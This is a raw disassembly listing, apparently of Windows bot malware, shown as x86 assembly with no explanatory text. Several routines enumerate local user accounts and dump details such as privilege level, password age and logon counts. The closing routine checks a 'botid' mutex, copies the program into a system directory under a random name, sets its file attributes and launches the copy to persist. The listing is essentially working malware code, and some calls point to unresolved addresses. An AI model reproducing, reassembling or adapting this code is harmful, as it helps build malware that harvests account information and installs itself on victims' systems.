		push	dword ptr [esi+4]
		push	dword ptr [esi-14h]
		push	offset a14s24s6u4s ; "%-14S %-24S %-6u %-4s"
		push	eax
		call	sub_4172B0
		push	1
		lea	eax, [ebp+var_210]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 2Ch
		add	esi, 28h
		inc	edi
		cmp	edi, [ebp+arg_C]
		jbe	short loc_40DD90
		xor	esi, esi


loc_40DDE6:				; CODE XREF: sub_40DCE6+A2j
		push	[ebp+var_4]
		call	dword_43AE28


loc_40DDEF:				; CODE XREF: sub_40DCE6+9Aj
		cmp	ebx, 0EAh
		jz	loc_40DD1F
		xor	eax, eax
		cmp	ebx, esi
		pop	edi
		pop	esi
		setz	al
		pop	ebx
		leave
		retn
sub_40DCE6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DE07	proc near		; CODE XREF: sub_40EE72:loc_411047p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		push	edi
		xor	edi, edi
		cmp	ebx, edi
		jz	loc_40DEAC
		mov	esi, [ebp+arg_0]
		mov	eax, esi
		sub	eax, edi
		jz	short loc_40DE49
		dec	eax
		jz	short loc_40DE3E
		dec	eax
		jnz	short loc_40DE64
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	ebx
		push	edi
		call	sub_40DF4E
		add	esp, 14h
		jmp	short loc_40DE60
; ---------------------------------------------------------------------------


loc_40DE3E:				; CODE XREF: sub_40DE07+1Dj
		push	ebx
		push	edi
		call	sub_40DF2D
		pop	ecx
		pop	ecx
		jmp	short loc_40DE60
; ---------------------------------------------------------------------------


loc_40DE49:				; CODE XREF: sub_40DE07+1Aj
		cmp	[ebp+arg_8], edi
		jz	short loc_40DE5D
		push	[ebp+arg_8]
		push	ebx
		push	edi
		call	sub_40DED3
		add	esp, 0Ch
		jmp	short loc_40DE60
; ---------------------------------------------------------------------------


loc_40DE5D:				; CODE XREF: sub_40DE07+45j
		push	57h
		pop	eax


loc_40DE60:				; CODE XREF: sub_40DE07+35j
					; sub_40DE07+40j ...
		cmp	eax, edi
		jnz	short loc_40DE84


loc_40DE64:				; CODE XREF: sub_40DE07+20j
		lea	eax, [esi+esi*2]
		push	ebx
		mov	esi, offset dword_43F668
		push	off_42E7A4[eax*4]
		push	offset dword_42EFD8
		push	esi
		call	sub_4172B0
		add	esp, 10h
		jmp	short loc_40DECC
; ---------------------------------------------------------------------------


loc_40DE84:				; CODE XREF: sub_40DE07+5Bj
		push	eax
		call	sub_40E4B7
		pop	ecx
		push	eax
		lea	eax, [esi+esi*2]
		push	ebx
		mov	esi, offset dword_43F668
		push	off_42E7A0[eax*4]
		push	offset dword_42EF9C
		push	esi
		call	sub_4172B0
		add	esp, 14h
		jmp	short loc_40DECC
; ---------------------------------------------------------------------------


loc_40DEAC:				; CODE XREF: sub_40DE07+Dj
		mov	eax, [ebp+arg_0]
		mov	esi, offset dword_43F668
		lea	eax, [eax+eax*2]
		push	off_42E7A0[eax*4]
		push	offset dword_42EF64
		push	esi
		call	sub_4172B0
		add	esp, 0Ch


loc_40DECC:				; CODE XREF: sub_40DE07+7Bj
					; sub_40DE07+A3j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_40DE07	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DED3	proc near		; CODE XREF: sub_40DE07+4Cp

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		and	[ebp+var_4], 0
		push	edi
		push	[ebp+arg_0]
		call	sub_40DC82
		push	[ebp+arg_4]
		mov	edi, eax
		call	sub_40DC82
		push	[ebp+arg_8]
		mov	[ebp+var_24], eax
		call	sub_40DC82
		add	esp, 0Ch
		mov	[ebp+var_20], eax
		and	[ebp+var_14], 0
		and	[ebp+var_10], 0
		push	1
		and	[ebp+var_8], 0
		pop	eax
		lea	ecx, [ebp+var_4]
		push	ecx
		lea	ecx, [ebp+var_24]
		push	ecx
		push	eax
		push	edi
		mov	[ebp+var_18], eax
		mov	[ebp+var_C], 10001h
		call	dword_43AC7C
		pop	edi
		leave
		retn
sub_40DED3	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DF2D	proc near		; CODE XREF: sub_40DE07+39p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_40DC82
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_40DC82
		pop	ecx
		pop	ecx
		push	eax
		push	esi
		call	dword_43AC6C
		pop	esi
		retn
sub_40DF2D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DF4E	proc near		; CODE XREF: sub_40DE07+2Dp

var_204		= byte ptr -204h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		and	[ebp+var_4], 0
		push	esi
		push	[ebp+arg_0]
		call	sub_40DC82
		push	[ebp+arg_4]
		mov	esi, eax
		call	sub_40DC82
		pop	ecx
		pop	ecx
		lea	ecx, [ebp+var_4]
		push	ecx
		push	0Bh
		push	eax
		push	esi
		call	dword_43ADF0
		test	eax, eax
		mov	[ebp+arg_0], eax
		jnz	loc_40E2F6
		mov	eax, [ebp+var_4]
		test	eax, eax
		jz	loc_40E331
		push	ebx
		push	edi
		push	dword ptr [eax]
		lea	eax, [ebp+var_204]
		push	offset aAccountS ; "Account: %S"
		push	eax
		call	sub_4172B0
		mov	esi, [ebp+arg_10]
		mov	edi, [ebp+arg_C]
		mov	ebx, [ebp+arg_8]
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40D679
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+0Ch]
		lea	eax, [ebp+var_204]
		push	offset aFullNameS ; "Full Name:	%S"
		push	eax
		call	sub_4172B0
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40D679
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+8]
		lea	eax, [ebp+var_204]
		push	offset aUserCommentS ; "User Comment: %S"
		push	eax
		call	sub_4172B0
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40D679
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_204]
		push	offset aCommentS ; "Comment: %S"
		push	eax
		call	sub_4172B0
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40D679
		mov	eax, [ebp+var_4]
		add	esp, 20h
		mov	eax, [eax+10h]
		sub	eax, 0
		jz	short loc_40E06D
		dec	eax
		jz	short loc_40E066
		dec	eax
		jz	short loc_40E05F
		mov	eax, offset aUnknown ; "Unknown"
		jmp	short loc_40E072
; ---------------------------------------------------------------------------


loc_40E05F:				; CODE XREF: sub_40DF4E+108j
		mov	eax, offset aAdministrator ; "Administrator"
		jmp	short loc_40E072
; ---------------------------------------------------------------------------


loc_40E066:				; CODE XREF: sub_40DF4E+105j
		mov	eax, offset aUser_0 ; "User"
		jmp	short loc_40E072
; ---------------------------------------------------------------------------


loc_40E06D:				; CODE XREF: sub_40DF4E+102j
		mov	eax, offset aGuest ; "Guest"


loc_40E072:				; CODE XREF: sub_40DF4E+10Fj
					; sub_40DF4E+116j ...
		push	eax
		lea	eax, [ebp+var_204]
		push	offset aPrivilegeLevel ; "Privilege Level: %s"
		push	eax
		call	sub_4172B0
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40D679
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+14h]
		lea	eax, [ebp+var_204]
		push	offset aAuthFlagsD ; "Auth Flags: %d"
		push	eax
		call	sub_4172B0
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40D679
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+1Ch]
		lea	eax, [ebp+var_204]
		push	offset aHomeDirectoryS ; "Home Directory: %S"
		push	eax
		call	sub_4172B0
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40D679
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+20h]
		lea	eax, [ebp+var_204]
		push	offset aParametersS ; "Parameters: %S"
		push	eax
		call	sub_4172B0
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40D679
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+18h]
		lea	eax, [ebp+var_204]
		push	offset aPasswordAgeD ; "Password Age: %d"
		push	eax
		call	sub_4172B0
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40D679
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+2Ch]
		lea	eax, [ebp+var_204]
		push	offset aBadPasswordCou ; "Bad Password Count: %d"
		push	eax
		call	sub_4172B0
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40D679
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+30h]
		lea	eax, [ebp+var_204]
		push	offset aNumberOfLogins ; "Number of Logins: %d"
		push	eax
		call	sub_4172B0
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40D679
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+24h]
		lea	eax, [ebp+var_204]
		push	offset aLastLogonD ; "Last Logon: %d"
		push	eax
		call	sub_4172B0
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40D679
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+28h]
		lea	eax, [ebp+var_204]
		push	offset aLastLogoffD ; "Last Logoff: %d"
		push	eax
		call	sub_4172B0
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40D679
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+34h]
		lea	eax, [ebp+var_204]
		push	offset aLogonServerS ; "Logon Server: %S"
		push	eax
		call	sub_4172B0
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40D679
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+3Ch]
		lea	eax, [ebp+var_204]
		push	offset aWorkstationsS ;	"Workstations: %S"
		push	eax
		call	sub_4172B0
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40D679
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+38h]
		lea	eax, [ebp+var_204]
		push	offset aCountryCodeD ; "Country	Code: %d"
		push	eax
		call	sub_4172B0
		push	1
		push	esi
		lea	eax, [ebp+var_204]
		push	eax
		push	edi
		push	ebx
		call	sub_40D679
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+4Ch]
		lea	eax, [ebp+var_204]
		push	offset aUserSLanguageD ; "User's Language: %d"
		push	eax
		call	sub_4172B0
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40D679
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+40h]
		lea	eax, [ebp+var_204]
		push	offset aMax_StorageD ; "Max. Storage: %d"
		push	eax
		call	sub_4172B0
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40D679
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+44h]
		lea	eax, [ebp+var_204]
		push	offset aUnitsPerWeekD ;	"Units Per Week: %d"
		push	eax
		call	sub_4172B0
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40D679
		add	esp, 20h
		pop	edi
		pop	ebx
		jmp	short loc_40E322
; ---------------------------------------------------------------------------


loc_40E2F6:				; CODE XREF: sub_40DF4E+35j
		push	eax
		lea	eax, [ebp+var_204]
		push	offset dword_42F008
		push	eax
		call	sub_4172B0
		push	0
		lea	eax, [ebp+var_204]
		push	[ebp+arg_10]
		push	eax
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_40D679
		add	esp, 20h


loc_40E322:				; CODE XREF: sub_40DF4E+3A6j
		cmp	[ebp+var_4], 0
		jz	short loc_40E331
		push	[ebp+var_4]
		call	dword_43AE28


loc_40E331:				; CODE XREF: sub_40DF4E+40j
					; sub_40DF4E+3D8j
		mov	eax, [ebp+arg_0]
		pop	esi
		leave
		retn
sub_40DF4E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E337	proc near		; CODE XREF: sub_40EE72+21F2p

var_218		= byte ptr -218h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 218h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	[ebp+arg_C]
		mov	[ebp+var_4], esi
		call	sub_40DC82
		push	esi
		mov	[ebp+var_14], eax
		push	[ebp+arg_8]
		mov	[ebp+arg_C], esi
		mov	[ebp+var_18], esi
		mov	[ebp+var_10], esi
		push	offset aUsernameAccoun ; "Username accounts for	local system:"
		mov	[ebp+var_8], esi
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 18h


loc_40E376:				; CODE XREF: sub_40E337+135j
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_4]
		push	0FFFFFFFFh
		push	eax
		push	2
		push	esi
		push	[ebp+var_14]
		call	dword_43AD00
		cmp	eax, esi
		mov	[ebp+var_C], eax
		jz	short loc_40E3D7
		cmp	eax, 0EAh
		jz	short loc_40E3D7
		push	eax
		push	eax
		call	sub_40E4B7
		pop	ecx
		push	eax
		lea	eax, [ebp+var_218]
		push	offset dword_42F218
		push	eax
		call	sub_4172B0
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 24h
		jmp	short loc_40E452
; ---------------------------------------------------------------------------


loc_40E3D7:				; CODE XREF: sub_40E337+62j
					; sub_40E337+69j
		mov	edi, [ebp+var_4]
		cmp	edi, esi
		jz	loc_40E465
		xor	ebx, ebx
		cmp	[ebp+arg_C], esi
		jbe	short loc_40E452


loc_40E3E9:				; CODE XREF: sub_40E337+EDj
		cmp	edi, esi
		jz	short loc_40E428
		push	dword ptr [edi]
		lea	eax, [ebp+var_218]
		push	offset aS_4	; "  %S"
		push	eax
		call	sub_4172B0
		push	1
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 20h
		add	edi, 4
		inc	[ebp+var_8]
		inc	ebx
		cmp	ebx, [ebp+arg_C]
		jb	short loc_40E3E9
		jmp	short loc_40E452
; ---------------------------------------------------------------------------


loc_40E428:				; CODE XREF: sub_40E337+B4j
		lea	eax, [ebp+var_218]
		push	offset dword_42F1D4
		push	eax
		call	sub_4172B0
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 1Ch


loc_40E452:				; CODE XREF: sub_40E337+9Ej
					; sub_40E337+B0j ...
		mov	edi, [ebp+var_4]
		cmp	edi, esi
		jz	short loc_40E465
		push	edi
		call	dword_43AE28
		xor	edi, edi
		mov	[ebp+var_4], edi


loc_40E465:				; CODE XREF: sub_40E337+A5j
					; sub_40E337+120j
		cmp	[ebp+var_C], 0EAh
		jz	loc_40E376
		cmp	edi, esi
		jz	short loc_40E47D
		push	edi
		call	dword_43AE28


loc_40E47D:				; CODE XREF: sub_40E337+13Dj
		push	[ebp+var_8]
		lea	eax, [ebp+var_218]
		push	offset aTotalUsersFoun ; "Total	users found: %d."
		push	eax
		call	sub_4172B0
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 20h
		xor	eax, eax
		cmp	[ebp+var_C], esi
		pop	edi
		pop	esi
		setz	al
		pop	ebx
		leave
		retn
sub_40E337	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E4B7	proc near		; CODE XREF: sub_40DAF0+41p
					; sub_40DCE6+69p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, 858h
		cmp	eax, ecx
		ja	loc_40E569
		jz	loc_40E562
		cmp	eax, 7Bh
		ja	short loc_40E52E
		jz	short loc_40E524
		cmp	eax, 5
		jz	short loc_40E51A
		cmp	eax, 8
		jz	short loc_40E510
		cmp	eax, 32h
		jz	short loc_40E506
		cmp	eax, 35h
		jz	short loc_40E4FC
		cmp	eax, 57h
		jnz	loc_40E5B8
		push	offset aInvalidParamet ; "Invalid parameter."
		jmp	loc_40E5D9
; ---------------------------------------------------------------------------


loc_40E4FC:				; CODE XREF: sub_40E4B7+30j
		push	offset aServerNameNotF ; "Server name not found."
		jmp	loc_40E5D9
; ---------------------------------------------------------------------------


loc_40E506:				; CODE XREF: sub_40E4B7+2Bj
		push	offset aThisNetworkReq ; "This network request is not supported."
		jmp	loc_40E5D9
; ---------------------------------------------------------------------------


loc_40E510:				; CODE XREF: sub_40E4B7+26j
		push	offset aNotEnoughMemor ; "Not enough memory."
		jmp	loc_40E5D9
; ---------------------------------------------------------------------------


loc_40E51A:				; CODE XREF: sub_40E4B7+21j
		push	offset aAccessDenied_ ;	"Access	denied."
		jmp	loc_40E5D9
; ---------------------------------------------------------------------------


loc_40E524:				; CODE XREF: sub_40E4B7+1Cj
		push	offset aTheNameIsInval ; "The name is invalid."
		jmp	loc_40E5D9
; ---------------------------------------------------------------------------


loc_40E52E:				; CODE XREF: sub_40E4B7+1Aj
		sub	eax, 7Ch
		jz	short loc_40E55B
		sub	eax, 7C8h
		jz	short loc_40E554
		dec	eax
		jz	short loc_40E54A
		dec	eax
		jnz	short loc_40E5B8
		push	offset aDuplicateShare ; "Duplicate share name."
		jmp	loc_40E5D9
; ---------------------------------------------------------------------------


loc_40E54A:				; CODE XREF: sub_40E4B7+84j
		push	offset aInvalidForRedi ; "Invalid for redirected resource."
		jmp	loc_40E5D9
; ---------------------------------------------------------------------------


loc_40E554:				; CODE XREF: sub_40E4B7+81j
		push	offset aDeviceOrDirect ; "Device or directory does not exist."
		jmp	short loc_40E5D9
; ---------------------------------------------------------------------------


loc_40E55B:				; CODE XREF: sub_40E4B7+7Aj
		push	offset aLevelParameter ; "Level	parameter is invalid."
		jmp	short loc_40E5D9
; ---------------------------------------------------------------------------


loc_40E562:				; CODE XREF: sub_40E4B7+11j
		push	offset aAGeneralFailur ; "A general failure occurred in	the netwo"...
		jmp	short loc_40E5D9
; ---------------------------------------------------------------------------


loc_40E569:				; CODE XREF: sub_40E4B7+Bj
		mov	ecx, 8C5h
		cmp	eax, ecx
		ja	short loc_40E5A2
		jz	short loc_40E59B
		sub	eax, 8ADh
		jz	short loc_40E5CD
		dec	eax
		dec	eax
		jz	short loc_40E594
		dec	eax
		jz	short loc_40E58D
		dec	eax
		dec	eax
		jnz	short loc_40E5B8
		push	offset aTheOperationIs ; "The operation	is allowed only	on the pr"...
		jmp	short loc_40E5D9
; ---------------------------------------------------------------------------


loc_40E58D:				; CODE XREF: sub_40E4B7+C9j
		push	offset aTheUserAccount ; "The user account already exists."
		jmp	short loc_40E5D9
; ---------------------------------------------------------------------------


loc_40E594:				; CODE XREF: sub_40E4B7+C6j
		push	offset aTheGroupAlread ; "The group already exists."
		jmp	short loc_40E5D9
; ---------------------------------------------------------------------------


loc_40E59B:				; CODE XREF: sub_40E4B7+BBj
		push	offset aThePasswordIsS ; "The password is shorter than required	("...
		jmp	short loc_40E5D9
; ---------------------------------------------------------------------------


loc_40E5A2:				; CODE XREF: sub_40E4B7+B9j
		sub	eax, 8CAh
		jz	short loc_40E5D4
		sub	eax, 17h
		jz	short loc_40E5CD
		sub	eax, 25h
		jz	short loc_40E5C6
		sub	eax, 29h
		jz	short loc_40E5BF


loc_40E5B8:				; CODE XREF: sub_40E4B7+35j
					; sub_40E4B7+87j ...
		push	offset aAnUnknownError ; "An unknown error occurred."
		jmp	short loc_40E5D9
; ---------------------------------------------------------------------------


loc_40E5BF:				; CODE XREF: sub_40E4B7+FFj
		push	offset aTheComputerNam ; "The computer name is invalid."
		jmp	short loc_40E5D9
; ---------------------------------------------------------------------------


loc_40E5C6:				; CODE XREF: sub_40E4B7+FAj
		push	offset aShareNotFound_ ; "Share	not found."
		jmp	short loc_40E5D9
; ---------------------------------------------------------------------------


loc_40E5CD:				; CODE XREF: sub_40E4B7+C2j
					; sub_40E4B7+F5j
		push	offset aTheUserNameCou ; "The user name	could not be found."
		jmp	short loc_40E5D9
; ---------------------------------------------------------------------------


loc_40E5D4:				; CODE XREF: sub_40E4B7+F0j
		push	offset aNetworkConnect ; "Network connection not found."


loc_40E5D9:				; CODE XREF: sub_40E4B7+40j
					; sub_40E4B7+4Aj ...
		push	offset dword_43F408
		call	sub_4172B0
		pop	ecx
		mov	eax, offset dword_43F408
		pop	ecx
		retn
sub_40E4B7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E5EB	proc near		; CODE XREF: sub_40EE72+2231p

var_718		= byte ptr -718h
var_318		= byte ptr -318h
var_108		= byte ptr -108h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 718h
		push	esi
		push	200h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_718]
		push	eax
		call	sub_4199B9
		add	esp, 0Ch
		lea	eax, [ebp+arg_0]
		mov	esi, 108h
		push	eax
		lea	eax, [ebp+var_108]
		push	eax
		mov	[ebp+arg_0], esi
		nop
		call	near ptr 27D0000h
		lea	eax, [ebp+var_108]
		push	esi
		push	eax
		lea	eax, [ebp+var_318]
		push	eax
		call	sub_4199B9
		lea	eax, [ebp+var_718]
		push	eax
		call	sub_41999C
		add	esp, 10h
		shl	eax, 1
		push	eax
		lea	eax, [ebp+var_718]
		push	eax
		lea	eax, [ebp+var_318]
		push	0
		push	eax
		push	0
		call	dword_43ADA8
		test	eax, eax
		jnz	short loc_40E67B
		mov	esi, offset dword_43F204
		push	offset dword_42F568
		push	esi
		call	sub_4172B0
		pop	ecx
		pop	ecx
		jmp	short loc_40E6A4
; ---------------------------------------------------------------------------


loc_40E67B:				; CODE XREF: sub_40E5EB+7Aj
		lea	ecx, [ebp+var_718]
		push	ecx
		lea	ecx, [ebp+var_318]
		push	ecx
		push	eax
		call	sub_40E4B7
		pop	ecx
		mov	esi, offset dword_43F204
		push	eax
		push	offset dword_42F530
		push	esi
		call	sub_4172B0
		add	esp, 14h


loc_40E6A4:				; CODE XREF: sub_40E5EB+8Ej
		mov	eax, esi
		pop	esi
		leave
		retn
sub_40E5EB	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 988h
		push	ebx
		xor	ebx, ebx
		push	esi
		push	edi
		mov	[ebp-0Ch], ebx
		mov	dword ptr [ebp-8], offset sub_40D3A5
		push	dword ptr [ebp-8]
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		mov	esi, dword_424058
		call	esi
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	dword_4CD5F0, eax
		call	esi
		push	eax
		call	sub_417302
		pop	ecx
		call	sub_40981F
		push	2
		call	dword_43AE44
		push	7530h
		push	offset aBotid	; "botid"
		push	ebx
		push	ebx
		nop
		call	near ptr 27E02C5h
		push	eax
		nop
		call	near ptr 26702BDh
		cmp	eax, 102h
		jnz	short loc_40E726
		push	1
		call	near ptr 77E75CB5h
		nop


loc_40E726:				; CODE XREF: ___:0040E71Cj
		lea	eax, [ebp-884h]
		push	eax
		push	202h
		call	dword_43AD10
		cmp	eax, ebx
		mov	[ebp-8], eax
		jnz	loc_40EB89
		cmp	byte ptr [ebp-884h], 2
		jnz	loc_40EB83
		xor	eax, eax
		mov	al, [ebp-883h]
		cmp	al, 2
		jnz	loc_40EB83
		mov	esi, 104h
		lea	eax, [ebp-3F0h]
		push	esi
		push	eax
		nop
		call	near ptr 26204C9h
		lea	eax, [ebp-2ECh]
		push	esi
		push	eax
		push	ebx
		nop
		call	near ptr 2730C00h
		push	eax
		call	near ptr 2680000h
		nop
		lea	eax, [ebp-4F0h]
		push	eax
		lea	eax, [ebp-6F4h]
		push	eax
		push	ebx
		lea	eax, [ebp-2ECh]
		push	ebx
		push	eax
		call	sub_4192B8
		add	esp, 14h
		lea	eax, [ebp-4F0h]
		push	eax
		lea	eax, [ebp-6F4h]
		push	eax
		push	offset aSS_2	; "%s%s"
		lea	eax, [ebp-5F4h]
		push	esi
		push	eax
		call	sub_41782A
		lea	eax, [ebp-3F0h]
		push	eax
		lea	eax, [ebp-2ECh]
		push	eax
		call	sub_417880
		add	esp, 1Ch
		test	eax, eax
		jnz	loc_40E98C
		cmp	dword_42F5BC, ebx
		mov	esi, offset byte_42F674
		jz	short loc_40E824
		push	esi
		xor	edi, edi
		call	sub_417AB0
		sub	eax, 4
		pop	ecx
		jz	short loc_40E824


loc_40E801:				; CODE XREF: ___:0040E822j
		call	sub_41730C
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		push	esi
		add	dl, 61h
		mov	byte_42F674[edi], dl
		inc	edi
		call	sub_417AB0
		sub	eax, 4
		pop	ecx
		cmp	edi, eax
		jb	short loc_40E801


loc_40E824:				; CODE XREF: ___:0040E7F1j
					; ___:0040E7FFj
		lea	eax, [ebp-3F0h]
		push	esi
		push	eax
		lea	eax, [ebp-1E8h]
		push	offset aSS_3	; "%s\\%s"
		push	eax
		call	sub_4172B0
		add	esp, 10h
		lea	eax, [ebp-1E8h]
		push	eax
		call	near ptr 26B0390h
		nop
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E864
		lea	eax, [ebp-1E8h]
		push	80h
		push	eax
		call	near ptr 278100Fh
		nop


loc_40E864:				; CODE XREF: ___:0040E850j
		mov	esi, dword_424160
		lea	eax, [ebp-1E8h]
		push	ebx
		push	eax
		lea	eax, [ebp-2ECh]
		xor	edi, edi
		push	eax


loc_40E87B:				; CODE XREF: ___:0040E8B2j
		call	esi
		test	eax, eax
		jnz	short loc_40E8B4
		nop
		call	near ptr 267036Ah
		cmp	edi, ebx
		jnz	short loc_40E8B4
		cmp	eax, 20h
		jz	short loc_40E895
		cmp	eax, 5
		jnz	short loc_40E8B4


loc_40E895:				; CODE XREF: ___:0040E88Ej
		push	1
		pop	edi
		push	3A98h
		nop
		call	near ptr 2620494h
		lea	eax, [ebp-1E8h]
		push	ebx
		push	eax
		lea	eax, [ebp-2ECh]
		push	eax
		jmp	short loc_40E87B
; ---------------------------------------------------------------------------


loc_40E8B4:				; CODE XREF: ___:0040E87Fj
					; ___:0040E889j ...
		lea	eax, [ebp-1E8h]
		push	eax
		call	sub_40AB7C
		pop	ecx
		lea	eax, [ebp-1E8h]
		push	7
		push	eax
		nop
		call	near ptr 278100Fh
		push	10h
		lea	eax, [ebp-1Ch]
		push	ebx
		push	eax
		call	sub_417330
		push	44h
		lea	eax, [ebp-64h]
		pop	esi
		push	esi
		push	ebx
		push	eax
		call	sub_417330
		add	esp, 18h
		mov	[ebp-64h], esi
		mov	dword ptr [ebp-58h], offset byte_436EDC
		mov	[ebp-34h], bx
		push	1
		pop	esi
		mov	[ebp-38h], esi
		nop
		call	near ptr 27D0D24h
		push	eax
		push	esi
		push	100000h
		nop
		call	near ptr 27304F3h
		lea	ecx, [ebp-2ECh]
		push	ecx
		push	eax
		lea	eax, [ebp-1E8h]
		push	eax
		lea	eax, [ebp-988h]
		push	offset dword_42F7EC
		push	eax
		call	sub_4172B0
		add	esp, 14h
		lea	eax, [ebp-1Ch]
		push	eax
		lea	eax, [ebp-64h]
		push	eax
		lea	eax, [ebp-3F0h]
		push	eax
		push	ebx
		push	28h
		push	esi
		push	ebx
		lea	eax, [ebp-988h]
		push	ebx
		push	eax
		lea	eax, [ebp-1E8h]
		push	eax
		call	near ptr 2770B6Ah
		nop
